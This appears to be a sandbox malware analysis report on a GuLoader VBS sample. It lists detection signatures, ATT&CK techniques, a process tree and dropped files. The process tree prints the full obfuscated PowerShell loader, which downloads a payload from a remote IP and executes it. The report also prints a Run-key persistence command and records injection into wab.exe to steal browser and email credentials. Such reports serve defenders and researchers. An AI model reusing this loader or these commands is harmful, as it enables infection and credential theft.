guloader | c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
27-06-2024 01:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs
Size

187KB
MD5

4948f25f03e8b1e397066530f79d85dd
SHA1

3d8328d506504a47eefaa9425b08a4070ef494e5
SHA256

c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48
SHA512

d92a357cfdfc0810fc31cd4ad3f35ec62f4860338d626ab4b79e027431fe70556ecc330650b4848803a84077b5fd9b93fd58380bbc2adda8953b2322ea5c06d1
SSDEEP

3072:YmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZ/:Y08GxbKja3+DCbKCvBB/WnHXC/sLJFJw

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Detects executables built or packed with MPress PE compressor 12 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3896-55-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2036-56-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3896-59-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3508-61-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3508-62-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3508-60-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2036-58-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3896-57-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1968-69-0x0000000021C60000-0x0000000021C79000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1968-73-0x0000000021C60000-0x0000000021C79000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/1968-72-0x0000000021C60000-0x0000000021C79000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

Processes:

resource yara_rule

behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

Processes:

resource yara_rule

behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients

Processes:

resource yara_rule

behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers

Processes:

resource yara_rule

behavioral2/memory/3896-59-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView

resource	yara_rule
behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

resource	yara_rule
behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

resource	yara_rule
behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

resource	yara_rule
behavioral2/memory/3896-59-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3896-59-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3508-62-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 4748 WScript.exe
13 2272 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation WScript.exe
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
collection

Email Collection
T1114

Processes:

wab.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wab.exe

flow	pid	process
3	4748	WScript.exe
13	2272	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dalboens145 = "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\\Liking\\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

1968 wab.exe
1968 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

3752 powershell.exe
1968 wab.exe

pid	process
1968	wab.exe
1968	wab.exe

pid	process
3752	powershell.exe
1968	wab.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exewab.exe

description	pid	process	target process
PID 3752 set thread context of 1968	3752	powershell.exe	wab.exe
PID 1968 set thread context of 3896	1968	wab.exe	wab.exe
PID 1968 set thread context of 2036	1968	wab.exe	wab.exe
PID 1968 set thread context of 3508	1968	wab.exe	wab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3424 reg.exe
Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exewab.exewab.exe

pid process

2272 powershell.exe
2272 powershell.exe
3752 powershell.exe
3752 powershell.exe
3752 powershell.exe
3896 wab.exe
3896 wab.exe
3508 wab.exe
3508 wab.exe
3896 wab.exe
3896 wab.exe
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exewab.exe

pid process

3752 powershell.exe
1968 wab.exe
1968 wab.exe
1968 wab.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2272 powershell.exe
Token: SeDebugPrivilege 3752 powershell.exe
Token: SeDebugPrivilege 3508 wab.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

1968 wab.exe

pid	process
3424	reg.exe

pid	process
2272	powershell.exe
2272	powershell.exe
3752	powershell.exe
3752	powershell.exe
3752	powershell.exe
3896	wab.exe
3896	wab.exe
3508	wab.exe
3508	wab.exe
3896	wab.exe
3896	wab.exe

pid	process
3752	powershell.exe
1968	wab.exe
1968	wab.exe
1968	wab.exe

description	pid	process
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	3508	wab.exe

pid	process
1968	wab.exe

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 4748 wrote to memory of 2272	4748	WScript.exe	powershell.exe
PID 4748 wrote to memory of 2272	4748	WScript.exe	powershell.exe
PID 2272 wrote to memory of 2988	2272	powershell.exe	cmd.exe
PID 2272 wrote to memory of 2988	2272	powershell.exe	cmd.exe
PID 2272 wrote to memory of 3752	2272	powershell.exe	powershell.exe
PID 2272 wrote to memory of 3752	2272	powershell.exe	powershell.exe
PID 2272 wrote to memory of 3752	2272	powershell.exe	powershell.exe
PID 3752 wrote to memory of 4952	3752	powershell.exe	cmd.exe
PID 3752 wrote to memory of 4952	3752	powershell.exe	cmd.exe
PID 3752 wrote to memory of 4952	3752	powershell.exe	cmd.exe
PID 3752 wrote to memory of 1968	3752	powershell.exe	wab.exe
PID 3752 wrote to memory of 1968	3752	powershell.exe	wab.exe
PID 3752 wrote to memory of 1968	3752	powershell.exe	wab.exe
PID 3752 wrote to memory of 1968	3752	powershell.exe	wab.exe
PID 3752 wrote to memory of 1968	3752	powershell.exe	wab.exe
PID 1968 wrote to memory of 3996	1968	wab.exe	cmd.exe
PID 1968 wrote to memory of 3996	1968	wab.exe	cmd.exe
PID 1968 wrote to memory of 3996	1968	wab.exe	cmd.exe
PID 3996 wrote to memory of 3424	3996	cmd.exe	reg.exe
PID 3996 wrote to memory of 3424	3996	cmd.exe	reg.exe
PID 3996 wrote to memory of 3424	3996	cmd.exe	reg.exe
PID 1968 wrote to memory of 3896	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 3896	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 3896	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 3896	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 2036	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 2036	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 2036	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 2036	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 3508	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 3508	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 3508	1968	wab.exe	wab.exe
PID 1968 wrote to memory of 3508	1968	wab.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
3⤵
PID:2988

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3752

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
4⤵
PID:4952

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1968

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
5⤵
- Suspicious use of WriteProcessMemory
PID:3996

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:3424

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\hffcemqmzrhqbtchdtlmcstby"
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:3896

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rzkvefaovzzulhqlmeynnenshhkwx"
5⤵
- Accesses Microsoft Outlook accounts
PID:2036

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\cbqffxlhjprhonmpvptpqjibqwcxqekt"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3508

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1a0f1rr.0sl.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\hffcemqmzrhqbtchdtlmcstby
Filesize
4KB

MD5
042bbbff30c31fcbdd7f9b0ed3935ca5

SHA1
c333db2dceaf9a524147155c79756bc32eda6b03

SHA256
626ae16f54b4ca656b0267dade381d30bf042a06ba69b8851e33ab14da2bd9fe

SHA512
7f3a8eee89225ced48f8bc69d168713377e0316df3e46b544d9f7bc2c84305020eca3094c8246c8c934e22bd7643ae11f4a1560c3fe7aa717604869bcffa48fe

Download Submit
C:\Users\Admin\AppData\Roaming\Klisterpapirer.Non
Filesize
483KB

MD5
59d5cd5f7fb93a9089e6bf2621cb1130

SHA1
6b6e8e4fbb0a6eb2e71ef3a10303c8dae87c1b68

SHA256
c79867129c123816cbd012fe333bda1f88627c34790271d3541d15f77c6f566c

SHA512
6ebad0cd265f4ab0bf38fe9855de50ec5d51e6aa503f507d61b51c27dc562f34ff0036420aa4c36127cd5ec056bd1406080c09e937db871b28089ba74de36049

Download Submit
memory/1968-69-0x0000000021C60000-0x0000000021C79000-memory.dmp

Filesize
100KB

Download
memory/1968-46-0x0000000001E60000-0x0000000005C50000-memory.dmp

Filesize
61.9MB

Download
memory/1968-72-0x0000000021C60000-0x0000000021C79000-memory.dmp

Filesize
100KB

Download
memory/1968-73-0x0000000021C60000-0x0000000021C79000-memory.dmp

Filesize
100KB

Download
memory/2036-56-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2036-58-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2036-66-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2272-16-0x00007FFA870B0000-0x00007FFA87B71000-memory.dmp

Filesize
10.8MB

Download
memory/2272-4-0x00007FFA870B3000-0x00007FFA870B5000-memory.dmp

Filesize
8KB

Download
memory/2272-15-0x00007FFA870B0000-0x00007FFA87B71000-memory.dmp

Filesize
10.8MB

Download
memory/2272-7-0x0000022CF4E00000-0x0000022CF4E22000-memory.dmp

Filesize
136KB

Download
memory/2272-49-0x00007FFA870B0000-0x00007FFA87B71000-memory.dmp

Filesize
10.8MB

Download
memory/2272-44-0x00007FFA870B0000-0x00007FFA87B71000-memory.dmp

Filesize
10.8MB

Download
memory/2272-43-0x00007FFA870B3000-0x00007FFA870B5000-memory.dmp

Filesize
8KB

Download
memory/3508-61-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3508-62-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3508-60-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3752-37-0x0000000006F30000-0x0000000006F4A000-memory.dmp

Filesize
104KB

Download
memory/3752-39-0x0000000007C00000-0x0000000007C22000-memory.dmp

Filesize
136KB

Download
memory/3752-40-0x00000000089D0000-0x0000000008F74000-memory.dmp

Filesize
5.6MB

Download
memory/3752-36-0x0000000008350000-0x00000000089CA000-memory.dmp

Filesize
6.5MB

Download
memory/3752-19-0x00000000030C0000-0x00000000030F6000-memory.dmp

Filesize
216KB

Download
memory/3752-35-0x0000000006A00000-0x0000000006A4C000-memory.dmp

Filesize
304KB

Download
memory/3752-20-0x0000000005A90000-0x00000000060B8000-memory.dmp

Filesize
6.2MB

Download
memory/3752-34-0x00000000069E0000-0x00000000069FE000-memory.dmp

Filesize
120KB

Download
memory/3752-33-0x0000000006410000-0x0000000006764000-memory.dmp

Filesize
3.3MB

Download
memory/3752-38-0x0000000007CD0000-0x0000000007D66000-memory.dmp

Filesize
600KB

Download
memory/3752-42-0x0000000008F80000-0x000000000CD70000-memory.dmp

Filesize
61.9MB

Download
memory/3752-23-0x00000000063A0000-0x0000000006406000-memory.dmp

Filesize
408KB

Download
memory/3752-21-0x0000000005A30000-0x0000000005A52000-memory.dmp

Filesize
136KB

Download
memory/3752-22-0x0000000006330000-0x0000000006396000-memory.dmp

Filesize
408KB

Download
memory/3896-57-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3896-59-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3896-55-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download